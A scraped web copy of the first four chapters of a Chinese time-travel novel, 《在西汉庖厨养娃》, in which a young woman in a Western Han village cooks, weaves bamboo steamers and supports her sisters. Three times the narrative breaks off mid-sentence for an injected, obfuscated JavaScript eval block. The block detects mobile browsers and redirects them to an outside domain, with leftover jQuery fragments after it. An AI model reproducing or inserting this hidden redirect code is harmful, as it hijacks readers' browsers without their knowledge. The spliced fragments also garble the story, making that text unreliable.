《在西汉庖厨养娃》 1. 第 1 章 秋分已过，稻子抽出谷穗，牛脾山后头亮起鱼肚白，映着山谷里绿油油间着金黄的稻田。 田边土垄上，有一间草屋支立着，砌的泥墙，有些坑洼。 唯一的窗子还是一圈陶坛子口，因坛子裂了，那圈粗实的坛口便拿来做窗，圆洞洞的，透进些光亮，越显出屋子的狭小。 里头就只搁着一张板床，铺着泛黄卷边的草席，上头歪着只瓦狗，缺了条腿，是捡的别家孩子不要的。 壁上挂着口轻飘飘的布袋，袋子沾了些糠灰。 里头最后一瓢糠，现下全在灶上的陶釜里煮着，冒着热烟。 ——这是间挨着草屋，西南角的矮灶房，墙角的木桶有些漏水，打湿了滑实的泥地，舂碓长时间无米来舂，已经落了层灰。 灶是陈年的船头陶灶，在吴楚这带，家家户户流行用这类灶，形似半叶小船，陶制，有两个火眼，一个用来放釜，另个可以放鬲，釜主要拿来烩煮；鬲一般拿来烧水，上面搭配甑子还可以蒸食，不过现在家里仅有个陶釜，放鬲的火眼是空的。 和后世农村的灶不一样，这灶身加上翘头的烟囱，也才到大腿高。 季胥需要把腰弯下，才能搅釜里的糠粥，别叫它糊底。 其实这个灶高，时人跪坐着操作才最合适。 但她还没习惯这个姿势。 就在昨夜，她刚穿到公元前的汉朝，原身长在牛脾乡本固里，三年前，也就是十二岁时，进县城想找活计，不幸遭贼人略卖为奴，辗转被扣在长安掖庭宫做舂米浆洗的粗使宫人。 直到两个月前，北击匈奴的捷报进京，龙心甚悦，一道免良诏大赦天下，原身恰好在名单内，得以放良归家，和两个妹妹相依为命，只是不知怎的，回家后半个月的睡梦中，季胥穿了过来。 季胥消化完这个无法改变的事实，按照原身的生活轨迹起来做朝食。 这口老灶堵烟，季胥拿木棍捅了捅烟囱，膛肚里的火才旺起来，把糠粥烧得咕嘟咕嘟响，季胥掰断一把蕨菜，丢进里边，撒点家里用碎瓦片盛着，仅有的调料，盐。 一釜糠菜粥就做好了。 看着木肤肤的，实在叫人没什么食欲。 五岁的季珠倒是饿得咽咽口水，这是原身的小妹，穿着身苎麻布料的小褶裤，因为过于瘦，越发显得裤脚肥大。 季珠乖巧摆好三只豁口碗，三双筷，家里仅剩的餐具。 家里也没有食案，三姊妹就跪坐在陶灶边围着吃。 “阿姊，怎么吃得这样少？”八岁的季凤呼呼喝完，看季胥碗里还剩出半碗，觉得奇怪。 季胥实在咽不下喇嗓子的糠菜粥，只推说：“肚子不饿，你和小珠分着吃吧。” 季凤摇头，把自己那只碗倒扣上去，“会饿的，留着阿姊晚点吃。” 这样一碗食物于她们来说也很珍贵。 想到屋里空了的糠袋子，季凤站起来说：“我去冯大家牧猪了。” 这是本固里一家富户，在自家山头养有十余头猪，每天早晨放上山，傍晚要赶回猪圈，这份活一天能得一钱。 在乡里是极好的一份工，很多垂髫小儿争抢，毕竟在县里背粮，一天走百里路，工钱也不超过七个钱，这还是成年大男大女的价，像那未满十五的使女，主家嫌气力小也不会雇的。 季凤能得到这份活，还是因着季父小时候，曾在那家牧猪十来年的情分，加之上个牧童因弄丢猪被断雇，十天前，季凤正好补了这缺。 因此很珍惜，吃完朝食就赶去冯大家了。 季珠则在灶旁，把剩的不多的松球倒出来，腾出空筐箩，背在身后。 这筐箩背起来高出她的头，瘦小的人儿歪头望着季胥。 “走吧。”季胥便说，也如平常那般，拎了墙角一把柴刀，旁边还有一把铁锄，两样是家里仅有的铁具。 她们俩要趁冬天来前，进山多拾点柴禾，这是三姊妹前些天在床上，凑声商量的。 出了门，走在土垄上，季胥得以打量周围的环境。 如今以“里”划分百姓生活的聚落，她们所在这个地方叫本固里，临山近水，土地还算肥沃，因而祖祖辈辈在这垦地定居下来，如今不大不小，总有五十多户人家。 天蒙蒙的亮，远处起了层雾，农田里隐隐现着屋舍的轮廓，多是芦苇、稻草或灯心草扎的房顶，如今炊烟都混作雾里了。 只见近处畎田里，架着顶四阿顶式的木井棚，这是本固里五十户人家的吃水井，陶井壁上碎瓦片排刻成一道隶书：千秋万世，长宜子孙。 这会，就有妇人担着空木桶，向井边打水，大多梳着利索的发髻，别着根木簪子，穿着或白或灰的短襦，腰间系着块蔽膝，裤脚肥大，走路时扁担吱呀呀叫唤。 季胥没有过多打量惹人怀疑，不过她能察着大家伙儿对自个儿的注视，也是，原身失踪三年，乍一回来个个都新奇的很。 “瞧瞧，这是几年前被县里贼子拐走的胥小女？晃眼长成大女了，看着倒比以前还瘦。” 看着渐远的背影，水井旁七嘴八舌的。 说起三年前这事，大家都还有印象。 当初季家分家，在本固里可谓闹得沸沸扬扬，这做君舅君姑的心眼偏到胳肢窝了，因大儿媳金氏生了男丁，做君舅的临终前，便将一堂两内的，带小院儿的瓦房，并二十亩地全数分给大房。 二儿媳田氏生了三个女娘，便只分得隔壁一间草屋，这一对比，别提多寒酸。 屋漏偏逢连夜雨，分家没多久，二房的季贵，也就是田氏的男人，想挣这脸面，尽快盖一栋瓦房，便去给人代役来钱，不料意外丢了性命。 留下寡母田氏独自拉扯三个女儿，她大女儿季胥那时虽才十二岁，却也很懂事，独去县城，欲找份活计补贴家用，没曾想途中遇上贼人，将她给略卖了。 说起这田氏，自嫁来就是个要强争胜的性子，换做一般人，接连的丧夫失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300261|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女，哪还活的下去，她倒撑住了，只咬紧牙关，说要把大女寻回来。 “是她，当初田氏这寡母把周边几个县找遍了，谁成想她被卖去长安皇城里？还能活着回来，算她命大。” “这胥女，在宫里那富贵窝做活，怕是攒了不少银钱……可惜咯，田氏半年前听着信从沔水上长安寻她，结果漕船翻了，连尸身都喂了鱼，没的福享。” “钱？半月前回家来就只一身麻布衣裳、一双草鞋。” “我路过瞧了瞧，她家且还吃糠呢。” “就是，做三年奴隶能有什么钱，还是咱这样的编户齐民好。” “廖婶子，赶巧你家广宗在说新妇？我看这胥女家穷，定能给你省点彩礼！许她三斛稻谷，她保准做你家新妇！”说话的是王麻子，他早年偷过田氏种的胡瓜，被田氏揪住，从地里撕打到路边，被好些人看笑话。 豆苗里的妇人直起腰，巾子擦擦汗，白那王麻子一眼，“娶她还得养她妹妹两张嘴，我可不做这赔本亲事，把我家给带累穷了。” ** 走了大约两里路，田地渐少，她们来到牛脾山的一座山头，牛脾山因形似牛脾得名，分大小百余山头，有些是早在老一辈那就有主的；有些则是属于乡里资产，本乡的都能来伐砍拾薪。这座山头属于后者。 沿着踩出来的山路往深走，季珠就时而蹲下捡松球，不一会儿就捡了半筐。 季胥却没砍柴，而是对着一丛毛竹打量。 “阿姊，竹子不耐烧。”季珠以为她要砍竹做柴，因此说道。 以为季胥是刚归家所以忘了，“松树耐烧。” 她如今五岁，常在外面挖野菜拾薪，瘦小的脸蛋晒得瓦黑，五官分明，眨巴眨巴眼，望着季胥，疑惑的模样。 “不拿来烧，拿来编东西。”这样好的竹子拿来烧就太可惜了。 她奶奶总厨退休后，赋闲在家会做篾工消磨时间，她从酒店餐厅下班，常给老太太递工具打下手，也懂一些，现在正好编了来换点钱。 原身的阿母是半年前翻船落水而亡的，这半年来，两个妹妹靠着乡里富户偶尔施豆粥救济，再不时拿家当和乡民换些糠和盐巴，加上自己找的野菜，吃一顿饿一顿的，勉强度日，如今都是营养不良的干瘦模样。 原身也是，被卖在掖庭宫做奴三年，那骨头，季胥自己摸着都硌手。 家里不能再吃糠了，需要油水。 这丛毛竹是背阴处的阴山竹，皮青、枝叶茂盛，粗细不一。 这挑竹子也有讲究，太老则质脆、发硬；太细的那竹节还有白粉，不够韧，也不行。 要挑那年份在两年左右，表皮青翠，枝干修长，厚度适中的，用来破篾、编织，最为合适。 她只挑到三根合适的，利落砍下，削去竹枝，竹枝也都堆在一旁，待会带回去可以扎扫帚。 砍完竹，她才又去找些枯死的松树来砍，林子里传出柴刀的伐木声。 2. 第 2 章 季珠捡完一筐松球，又去四处捡掉落的枯枝，拖来堆在一处，待会统一捆好背下山。 忙到晌午，因为体力劳作，她早就前胸贴后背了，可算应了清早季凤那句“会饿”。 季珠递给她一个糠菜团子，这还是季胥早上捏的，就加了盐和水，团成团用桑叶包着，禾草扎严实。 寻常百姓家一日两餐，朝食用完，等到晡时，也就是后世的下午三点到五点，才会吃晡食，期间在外干活时间太长，就带点干粮垫补。 糠菜团子季胥捏了三个，一个季凤带去，还有两个季珠就放在筐箩里那堆松球上，现在看日头当中，便拿来吃。 一大一小各挑了方可以躲阴的木墩子坐，饿到一定地步，季胥也不觉得糠菜团子难吃了，大口下去，肚子勉强有饱腹感。 季珠把自己那份又掰开大半递给她，大约觉得早晨她只喝了半碗糠粥，这会不够吃。 季胥摇头让她自己吃，起身去喝了点山泉水，水把糠一泡，更囊实些。 吃完歇了会，再去把那些伐好的树砍出枝桠，分堆在一处。 忙到日昳时分，看着眼前三根松树枝干，一大堆枯枝桠，以及三根毛竹，一堆竹枝，一筐松球。 季胥觉得今天差不多了，这堆东西运回去还要时间，还得留出时间去处理竹子，好编东西，尽快卖钱。 便和妹妹说：“该回去了。” 季珠正在扯一条藤蔓，待会捆树枝背下山要用的，她脚边已经从树上扯下来好几条了，面上沾了不少掉下来的草屑，闻言点点头。 运柴下山是季胥来做，季珠年龄太小一趟背不动多少，况且牛脾山不止她们进来伐柴，不远处就有耙松毛的老媪，得留人守着这堆柴。 从前就被偷过，自己辛苦伐拾成堆的柴不知被哪个眼馋肚饱的背自家去了，季凤气得咒那人手脚生烂疮，后来猜是王麻子，不过也只是猜测，没证据。 季胥运了六趟，最后一趟季珠帮忙拖了竹枝，她则扛着竹，背着松球筐，把今天的收获运回了家。 家里只有一间睡觉的草屋，就暂时堆在门前的空地，正好晒一晒干，等砍成合适的长短，再往檐下垒。那里已经有矮矮一排了，是三姊妹近来备下的。 门前的柴先不急着收拾，季胥先在屋子前破竹、捅竹节。 灶屋前的季珠好奇蹲看着，捧着碗喝糠菜粥，是早晨季胥没喝完的，季胥自己喝了点，便让她也填肚子，她犹豫一会，听季胥说这样的天再放要坏，才珍惜满足地喝起来。 “阿母，胥女在外面三年把脑子浆坏了。” “砍些毛竹回来烧。” 隔壁院的季元出来泼洗脸水，看见二房门前劈竹的季胥，扭头进去便和她阿母金氏说。 她穿一身襦裳，虽是粗布的，比起贫家细民为做活方便下头穿裤，已是时新讲究了。 在西屋织布的金氏，便是季元的阿母。 金氏和田氏是妯娌，当初二房田氏先有孕，大房的金氏作为大妇，没少被先姑刺打。 后来就不一样了，田氏连生三女； 她金翠茹，在生了两女后，生下了季家唯一的孙子。 为此，三年前先舅临终分家，大房分得带院儿的瓦房，二十亩地；二房就只得了隔壁一间破破烂烂的草屋。 更别提她那小叔子季贵为了压大房一头，去给人代役挣钱，意外身亡，那季胥被贼人略卖， 田氏变卖家当陆陆续续去找，可惜半年前有去无回，这一桩桩下来，二房越发穷得吃糠咽菜。 哪里还能和大房做比？ “田桂女她大女儿从小就笨笨的，哪像我的元女，聪明伶俐。” 那毛竹一烧要把灶膛炸得毕拔响，不好连陶釜都能炸裂，乡里没谁爱拿它当柴烧。 季元心里得意，她原先还有些眼热季胥见过长安城的世面，现在看来还和从前一样笨。 ** 太阳半落时，季凤牧猪回来了，眉梢格外开心扬着。 季胥用柴刀把竹壳破成等分的篾条，“是有什么好事？” 季凤从怀里掏出一小包荷叶包着的东西，“冯大的阿母见我猪草割得多，晌午给我盛了碗白米饭。” 冯家这样的乡里富户，一日比细民要多食一餐，中午会煮中食，吃的白米，不过他们家人口多、嚼用大，也是按量煮的，今天冯大的小儿突然哭闹要吃水引饼，米饭就多了出来，平常是不会有多的。 季凤觉得自己运气好，不过她没舍得吃，吃完自己的糠菜团子，米饭用荷叶包着，带回来和姊姊妹妹一起吃。 缺衣少食的时候，季胥也被感染，会心而笑。 “我去煮米粥当晡食。”光是米饭不够三人，加水煮成粥才够饱。 季凤说着去灶屋生火，陶釜里水开要一会子，她便出来和阿姊说会话，才注意到季胥把竹破成极细的篾片，挠挠头，“阿姊，竹子不用这样细也能烧，多费了功夫。” “不拿来烧，我想编点竹甑拿去卖。”其实就是后世的蒸笼，但这时的蒸具是“甑”，陶制为主，还没有蒸笼一说，她也就干脆叫竹甑，以便理解。 “再买点肉和稻谷回来。”季胥说着，手上动作不减。 蒸笼有蒸笼盖、蒸笼底，中间要有牙缝以便上下层嵌套，每层大约十公分高。 季胥先把竹子砍成两米长，在破成十二爿，破除竹青和竹黄后，一根平正的篾条就制好了。 不忘削去些刺，让其表面光滑些，这里有刨刀做起来更顺手，这会儿也只能用柴刀凑合。 再把两头削薄，用钉子在两头连接处凿好六个孔，这钉子还是屋子里挂糠袋用的，是家里唯一枚铁钉，她暂时取下来用，孔凿好用篾丝扎紧。 这里中夹就做好了，紧接是牙缝、外夹、底档……末尾把这些部件组合起来。 竹甑？ 季凤眼看一个溜圆，带盖的物件就做好了，光看外表，叫人以为是藏物的笥箧，笥箧也有竹编的，记得从前家里有一个，拿来装衣物，不过是方的，分家后自是成了大房的。 而且，笥箧内里怎么可能是一根根竹段镂空？ “阿姊，这样能装什么？这里该漏东西了。”季凤把手指穿过竹段的缝隙。 “装盘盏碗碟。”季胥来到灶屋示范。 后头季凤季珠跟前，满是好奇。 恰好釜里水也开了，季胥把蒸笼架在釜上，揭开盖，“一些放凉的饭菜放里面，就能蒸热了。” 像许多人家图省事，朝食多做些，晡食热一热就能吃，陶甑足够高，但隔层却没竹甑多，且不够轻便，季胥想，这还是有卖点的。 这一晚，季胥用三根竹的中间部分，编出了十个竹甑，一只新筐箩。 顶部的竹梢粗度不够，用不着，季胥便配合竹枝，扎了三把扫帚。 底部的竹兜节又密又硬，也不适用，季胥也没浪费，收在屋里墙根下，准备日后破开两半，拿来做器皿。 夜里点不起烛，三姊妹早早躺在板床上，借着窗子的月光，季凤在数她藏在老鼠洞的铜钱，加上今天得的一钱，一共十枚。 “阿姊，这钱你也带着，若是竹甑不好卖，便拿这钱买些稗子米回来吃。” 对于这竹甑能否卖出去，季凤心里没底。 家户都用陶甑，这模样大变的竹甑，会有人买吗？ 稗子米味道甘苦发涩，胜在价贱，十钱就能买一斛。 且到底算是米，比糠要好些。 季胥知道，这十个子是家里仅有的钱。 原身在宫里月钱被克扣，没能攒下，还是当了两身细布衣裳，才能走回来。 家里现在就一个字，穷。 “好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300262|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>虽说她对自己的手艺有自信，但谁也不知道明天是什么情况，也没大夸其辞，想着若是挣了钱，再把这十钱原样带回来，留给季凤做体己，八岁的小孩去牧猪养家实属不易。 次日，朝食就吃的一釜烩苋菜，是昨个季胥背柴回来在山脚下发现的，顺便掐了一把回来，如今清水烩了，撒些盐巴，勉强果腹。 她们屋后有两畦菜地，还是从前母翁在世时开垦的，不过现在没的银钱买籽来种，已是荒着。 季胥想着，要是今天钱还凑手，再买点菘菜、芹菜和芸苔籽回来，赶着时令种下去，随吃随摘。 想到牛脾山近期已经没有合适拿来编织的毛竹，她留出两个竹甑、一把扫帚家里用。 把八个叠放进新筐箩背着，抱着两把竹扫帚，去往牛脾乡的乡市。 原身离家三年，记忆有些模糊，不过有季珠跟着领路，她从前偶尔跟田氏来卖瓜菜，倒还熟路。 “阿姊，我来帮你抱。”季珠还是很兴奋的，小孩子爱看热闹。 “扫帚太长了，你抱着不好走路，小珠给阿姊带路就好。” 牛脾乡一共有五个里，除了她们居住的本固里，附近还有盛昌里、孝顺里、金氏里、廖氏里。 像盛昌里编户百余户，他们里内就有里市。 其他里编户都不如盛昌里，像本固里有五十余户；廖氏里就更少了，只有二十余户，因此没有形成里市，最近的市集便是乡市。 乡市在五里居中的位置，从本固里过去，大约走了七里路。 天色还没大亮，路旁密集的瓦房朦朦胧胧的，有贾人在指挥佣工搬粮食进店，路上有挑担赶去卖瓜菜的、挎篮卖鸡蛋的，更有推独轮车的，车上装着两只木桶，占好路边位置就在卸货。 季胥路过看了看，桶里是鲜活的鱼。 “卖鱼咯，自家池塘刚网上来的鲤鱼鳣鱼，瞧瞧咯！” 乡市俱是赶早，沿路过去，有那路边的散户已经在叫卖。 “瞧我刘媪家的背篓，十年用不坏！” “女娘，买些大薯回去做羹。” “这茄子头茬儿的，新鲜着。” 两旁的店肆，多是卖些器皿炊具、粮食、布料、车具，他们有店坐贾，也不急于叫卖，有客进去便招呼。 季胥刚找位置摆开东西，对面坐下来一带小孩的妇人，担着两筐果子。 “虎孩，坐阿母身边来。” 她叫对面那个被卖瓦狗的小贩吸引的孩童。 “阿母，我要瓦狗！” 这季虎孩可不正是她们俩那四岁的堂弟，对面那妇人，便是金氏。 也是冤家路窄。 “再闹下次不带你出来顽了，来，阿母给你个柰果吃。”金氏自然也看见了对面两姊妹，特意把摊子摆在这。 她从筐子里挑出个红彤彤的柰果，吸引站在斜对面看瓦狗的季虎孩。 “不吃柰果，要瓦狗！” 这瓦狗虽是掺了砂的粗陶做的，但捏的栩栩如生，张嘴立在摊子上，活似在吠叫，偏偏那小贩捏着瓦狗，一面发出“呜汪——呜汪——”的腹声。 把季虎孩勾的呆呆杵在那。 “不吃是吧？我给你两个堂姊吃，她们想吃可都没有，要来抢了。” 家里后院的柰果树十几年了，分家分给大房的，平时不仅能吃、晒果脯，还能担来卖点银钱添家用，为着这棵树，她那娣妇田氏都没少眼红。 金氏做势说着就要起身来给，当然不会给，季珠习惯了这伯母拿吃食馋她们的路数，已经率先把头扭开了。 季虎孩一听，这才过去抱着柰果啃，边啃还边朝对面摇手显摆，再脆沙沙咬上大口。 “柰果树家家户户多的是，小珠，卖完东西咱去买肉。” “嗯！”季珠点头，这会子分外期盼阿姊能把东西卖出去。 3. 第 3 章 季胥这就张口吆喝， “来看看欸，比陶甑轻便，比陶甑耐摔的竹甑，八钱一个，十五钱两个！免费送甑盖了！” 她来时去炊具肆询过陶甑的价，二十钱一个，看着古朴厚重，下窄上宽，腹深，比单个竹甑要高得多。 不过她这竹甑是两个叠着做一套，卖八钱一个，十五钱一套也合理，本就带甑盖出售，免费算是噱头。 “只听过陶甑铁甑，还有竹甑？” 摊子前有妇人停住，马上过冬了，她家正要买个陶甑和箅子来热饭菜。 “是，不仅能热饭菜，也能做蒸食，像蒸蟹、蒸鱼、蒸肉、蒸乳饼……陶甑能做的它都能做。” “瞧着倒精巧，可这这么矮，倒不如陶甑，中间放个箅子就有两层了。”箅子是放在陶甑里的隔层，中间有孔，箅上能放饭菜。 “不用箅子。”季胥把两个陶甑一叠，“这就是两层，再叠就是三层，能有陶甑高，但是比陶甑轻便得多。” 看见妇人身侧梳着丫髻的孩童。 “再个，竹子编的也摔打不坏。” 妇人听见摔打不坏就心动了，她家旧陶甑就是被孩子失手打破的，二十钱一个，才用没多久，铁甑倒也耐摔，可得去县城官府设的点购买，且铁价贵得乍舌，一个铁甑将近二百钱，家里也用不起。 “行，给我来一个，不，两个！” 两个能便宜些，又确认道：“这盖子是赠的吧？” “是，免费赠两个盖。” 有一就有二，随着吆喝，摊前围聚不少人。 有稀奇的，有听说能送甑盖忍不住停下的。 “这大小能合得上我家的陶鬲吗？”像陶甑底部是刚好嵌合在陶鬲沿口，有担心买回去尺寸不合的。 “竹甑是架在陶釜或者陶鬲上的，无需嵌进去，只要家里用的是船头灶，尺寸都合适。” 季胥解释道。 她是按自家船头灶灶眼的尺寸来编制的，而吴楚这带很是流行船头灶。 “我家用的就是船头灶，给我来两个！”老伯当即拿钱。 看了圈还在摊前拿着竹甑琢磨观望的，季胥吆喝道：“最后四个了，最后四个！手慢则无了！” “我要一个！” “小郎，咱俩合买，能省一个钱呢，再去买一个钱的瓜菜咱俩对分岂不妙哉？”有眼疾手快赶紧拉着旁人拼单的。 “好好好，咱俩合买。” 这就从别个只看不买的手里抢来，赶紧付钱，生怕没了，这竹甑可比陶甑便宜得多。 一旁卖瓦狗的小贩也凑前来，“女娘，我拿瓦狗同你换如何？” “我这瓦狗紧俏得很，十里八乡的孩子都欢喜。” “换了与你小妹顽。” 那小贩特意绕到季珠那边，拿瓦狗在她眼面前晃，他早注意到这小丫时不时望他的瓦狗摊。 季珠把脑袋撇开，“我是大孩子，不爱顽具。” 哪有孩子不爱顽具的，家里那只断腿的瓦狗，还是季凤从冯大家捡回来与她顽的，她每日睡前都要在床上顽一会，再宝贝地放回角落。 “换也可以，只是你这瓦狗卖三钱的，你还得再贴我五个钱。”她才刚看小贩卖出去一个，收的三个钱。 “那可不行。”小贩不愿掏一个子，带着瓦狗回去。 季胥的竹甑本就卖得好，也无需做交换，再吆喝一阵子，最后两个竹甑也卖完了。 连带那两把竹扫帚，也捎带嘴以五钱一把卖给了两个合买竹甑的客人。 对面的金氏一个柰果还没卖出去。 先前有在季胥这里合买完的，正好想去金氏摊子上买一钱柰果对半分。 这时节柰果便宜，一钱能买六个。 谁知金氏一个劲挑些小的青的，还把那有虫眼的攥在自己手心，默默放进人家背篓里，以为人是年轻小郎和女娘，好糊弄。 “你这贼心妇人，我可不要这烂的！”小郎发现后把背篓里的都还给她。 “这哪烂了？熟过头了，就这些才甜呢！”金氏不承认。 “留着你自己吃吧，有那红的好的不挑给我，走，乡市多的是柰果买。” “我这好的可得卖两钱，酸穷小儿鬼你掏得起钱么。”金氏嘟嘟囔囔，重新把些品相不好的埋在下面。 季胥把赚来的七十个钱放进事先备好的竹筒里，再把竹筒系在腰间，背好筐箩收摊了。 金氏摆弄着柰果，听着那串铜子掉进竹筒里的响，紧了紧牙根。 季胥牵着季珠停在瓦狗摊前，“给我小妹拿一个。” “阿姊……我不……” “喜欢吗？”季胥已经付好三个钱，把瓦狗伸前去。 季珠哪里会不喜欢，犹豫小会，抱在怀里，珍宝似的摸索着，小声道：“喜欢。” “阿母，我也要瓦狗！” “季珠都有！我也要！” “我要我要我要！” 在季虎孩眼里，叔叔家的小孩什么时候能有他没有的东西？他本来就眼馋那排瓦狗，现在看季珠竟然有了。 这就滚在地上闹起来。 “好好好，阿母待会就给你买！”金氏大声道，她也不允许二房孩子越过自家去。 季虎孩边滚边闹：“待会是什么？我就要！虎孩的手里要心里要！” 金氏哪里好说她这趟出来没带一个子，想着卖完柰果也就有钱了，谁知竟一个果子没卖出去。 路过的都去瞧什么竹甑了，眼见那俩小蹄子买完瓦狗又去肉摊了，她吆喝得愈发卖力，偏生季虎孩滚在地上哭闹，吵得人都不愿停下来，那卖瓦狗的都想挪地方。 “婶子，好生管管你家小儿！” “你不在这卖瓦狗，我小儿能啼哭不休吗？”金氏正烦呢。 两人隔着街就吵嚷起来，季虎孩见没人听他哭，反而安静下来，躺在地上摸了个柰果啃。 肉摊的老板扬长脖子正瞧热闹，见有客来连忙招呼： “女娘，买肉？我这肉新鲜，都晨起刚宰的肥豕！”时人称猪为“豕”。 不仅有卖豕肉的，再远些还有羊肉摊，也有卖鲜活鸡鸭鹅的。 “这肉什么价？”季胥问。 “肉七钱一斤，脂十五钱一斤。” 老板分别指的是一块瘦肉，和一块板油。 这时细民主要的食用油是猪油，脂能炼油，卖得比精瘦肉贵一倍有余。 “这块呢？”季胥看中一块三肥七瘦的五花。 “带脂肉是十钱一斤。” “来一斤带脂肉。”她挑个肥瘦均匀的部位，让摊主下刀。 还是得带肥的才有油水。 摊主手起刀落，称过后，“正好，一斤！” 季胥瞧着就不对劲，等拎过草绳穿好的肉，掂了掂，约莫才是后世二百五十克的样子，也就半斤。 倒不疑心老板少称，这一早晨肉摊来往的老主顾很多，她也知汉朝度量衡和后世有所差别，只是掂在手里才有了实感。 “再来一斤脂。”家里没有猪油，只能做烩菜或者羹，得买脂炼猪油，一来她炒菜方便，二来也能沾点荤腥。 “得嘞！” 买肉花了二十五钱。 “女娘慢走！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300263|167151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这心心念念的肉买到了，当然不能瞎煮，家里唯一的配料就剩盐巴，别的都需买。 这调料，乡市也有卖，却不是摊位，是沿街一家肆。 门头的布幌子，书着个大大隶书，“盐”。 沿路望去，后头还有挂着“酒”幌子的，也算是很醒目的招牌了。 盐肆里别的调料也一应俱全，一身灰黑襜褕的掌柜热情招呼， “要咸味有酱、盐、豉；要酸味有醯酢、白梅子；要甜味有本地的饴、饧，还有陇西天水来的白蜜！ 要辣味有芜荑、青红椒、花椒。另外葱姜，橘皮、桂皮、茱萸……小店都有，女娘，您看要来点什么？” 时人主要的调味品还是盐和酱。 “盐和豆酱什么价？”季胥现在银钱有限，只捡些用得上的先置办。 盐家里所剩也无几，所以她一并问。 “盐和酱都是二钱一升。” “各来一升。” “好嘞！” 算好要买调料，季胥来时砍了节竹筒做器皿，里面垫去干燥的树叶，计划好拿来装盐的。 只是这酱，竹筒装不得，时日久容易浸漏，她又花三钱，在这买了个巴掌大的酱瓿，带盖的，拿来装那升酱。 盐肆这里，一共花去七钱。 钱货两讫出门。 她又去酒肆花五文钱买了一升竹筒装的醇酒，她要做的这道肉菜醇酒是关键。 季珠捧着瓦狗，看着筐箩里装进一件件的东西，眼睛一亮又一亮。 肉菜妥帖，主食自然不能少。 季胥牵着季珠，进了家粮肆。 问了问，如今稻谷四十钱一斛，买回去要自己舂。 买舂过的米价又更贵，按舂过的精细程度，分糙米、糳米、毇米、御米，越往后，越精细，稻谷的出米率也越低，乡市里的粮肆也只卖些糙米和糳米，后两种只是掌柜顺带嘴一说，那御米更是掌柜的也没见过。 糙米的话，则是五十六钱一斛。 盘算了下，还是买稻谷合算，好在家里有舂碓，无非费点时力，舂出的糠还能留着，条件好起来她们也不用再吃糠了，将来养家禽拿来喂。 “买两斗稻谷。”这就是八钱。 “掌柜的，面粉什么价？”她想着，再做点别的吃食来卖。 “六十钱一斛。” “麦子从荆州运来的，咱们这都种粳稻，也不产麦子，面粉这才比米价略贵些。”掌柜更喜欢做精粮的生意，连话都多起来。 季胥算着钱，买了两斗，十二钱。 这两样粮，她事先带了两口洗晒干净的麻布袋来装。 揣着最后十钱，她去器皿肆买了个十钱的陶盆，这是她一早来询陶甑的价顺便问过的，所以买粮算的刚好。 赚的七十钱全花干净了，不过筐篓也满满当当。 回到家，正好是午正秋老虎毒辣的那会儿，季胥和季珠都晒出汗，可谁也不觉累。 季珠更是跟前帮忙，季胥从筐箩拿出两斤肉、一升盐、一瓿酱、一升酒、两斗稻谷、两斗面粉、一个厚实的陶盆，她都要接过来宝贝似的摸摸，再跑去放好。 “阿姊，好像过年一样啊。” 季珠咧嘴乐。 “想二姊快点回来看到！” 她迫不及待想二姊也看到这么这么多东西。 “阿姊这就煮肉，煮好你与二姊送一份去。”她们朝食吃得清汤寡水，季凤又没带干粮，想必饿得前胸贴后背了。 她们也吃一顿像样的中食。 “好！”季珠蹦跶起来，显出些孩子气。 4. 第 4 章 光是肉有些少，季胥准备闷些米饭，再炒个早晨没煮完的野苋菜，一荤一素搭配着。 准备切肉时，想起来凤妹说过铁菜刀和木俎被拿去换粮了，田氏在沔水上翻了漕船这半年，家里交不起佃租，富户将田收了回去，田氏原盘算着个把月就能回来，微薄的积蓄都拿去做盘缠了，留给俩女儿的粮也不多，后来她们就靠拿些零碎家当和人家换粮换盐巴，勉强过活。 没有刀俎…… 不打紧，她把柴刀洗干净，也能用。 至于木俎，把门外那块劈柴的木墩子搬进来，柴刀削了削表层，冲洗干净，凑合拿来垫着。 新鲜的带脂肉被切成两指宽的方块，冷水来焯。 釜里水开焯肉要一会子，她趁这时去舂米。 “阿姊，小珠来舂！”季珠说，满怀雀跃。 想想肉和米饭就咽口水，上次吃肉，记得还是元日，阿母卖了些瓜菜，买回来一块瘦肉，切成细细的丝，和芦菔烩羹，阿母把肉多多的挑在她和二姊的碗里。 想到这些，季珠心里涩涩的，要是阿母也在就好了。 “那就小珠来吧。” 这舂碓是脚踩式的，地上掘的坑，嵌进一方石臼，旁边的石碓子架有杠杆，踏踩着能省力，季胥索性就让她帮忙。 舂着米，季珠的注意力倒被转移了，没有一直沉浸在感伤的心绪里。 季胥想到家里只一个陶釜，做完菜再焖饭，菜要放凉了。 干脆另起火堆做竹筒饭，昨天剩的竹子也还新鲜。 